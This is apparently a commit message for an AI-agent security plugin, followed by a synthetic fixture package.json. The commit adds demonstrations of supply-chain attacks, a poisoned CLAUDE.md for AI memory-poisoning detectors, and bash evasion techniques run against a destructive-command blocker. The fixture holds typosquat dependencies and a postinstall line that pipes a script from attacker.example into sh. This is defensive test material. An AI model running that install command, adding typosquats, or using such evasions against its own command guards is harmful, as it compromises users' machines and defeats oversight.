Kjell Tore Guttormsen
ca5a8cec67
Three new self-contained, runnable threat demonstrations under
examples/, continuing the batch started in 583a78c. Each example
has README.md + run-*.mjs + expected-findings.md and uses
state-isolation discipline so the user's real cache/state files
are never polluted.
- examples/supply-chain-attack/ — two-layer demonstration:
pre-install-supply-chain (PreToolUse) blocks compromised
event-stream version 3.3.6 and emits a scope-hop advisory for
the @evilcorp scope; dep-auditor (DEP scanner, offline) flags
5 typosquat dependencies plus a curl-piped install-script
vector in the fixture package.json. Maps to LLM03/LLM05/ASI04.
- examples/poisoned-claude-md/ — all 6 memory-poisoning detectors
fire on a deliberately poisoned CLAUDE.md plus a fixture
agent file under .claude/agents (E15/v7.2.0 surface):
detectInjection, detectShellCommands, detectSuspiciousUrls,
detectCredentialPaths, detectPermissionExpansion,
detectEncodedPayloads. No agent runtime needed — scanner
imported directly. Maps to LLM01/LLM06/ASI04.
- examples/bash-evasion-gallery/ — one disguised variant per
T1 through T9 evasion technique fed through pre-bash-destructive,
verified BLOCK after bash-normalize strips the evasion. T8
base64-pipe-shell uses its own BLOCK_RULE. The canonical
destructive form uses a path token rather than the bare slash
(regex word-boundary requires it). Source-string fragmentation
pattern reused from the e2e attack-chain test. Maps to
LLM06/ASI01/LLM01.
Plugin README "Other runnable examples" section + plugin
CLAUDE.md "Examples" table + CHANGELOG Unreleased/Added
all updated. Marketplace root README unchanged
([skip-docs] for marketplace-level gate — plugin's outward
coverage is unchanged, only demonstrations were added).
19 lines
633 B
JSON
19 lines
633 B
JSON
{
|
|
"name": "innocent-looking-app",
|
|
"version": "0.0.1",
|
|
"description": "FIXTURE — synthetic package.json planted with typosquats and a malicious postinstall script. Used by run-supply-chain.mjs to demonstrate dep-auditor and pre-install-supply-chain detection. Not a real package — do NOT npm install.",
|
|
"main": "index.js",
|
|
"scripts": {
|
|
"test": "echo 'fixture'",
|
|
"postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
|
|
},
|
|
"dependencies": {
|
|
"expresss": "^4.18.0",
|
|
"loadsh": "^4.17.21",
|
|
"axois": "^1.6.0",
|
|
"reaact": "^18.2.0"
|
|
},
|
|
"devDependencies": {
|
|
"chalkk": "^5.3.0"
|
|
}
|
|
}
|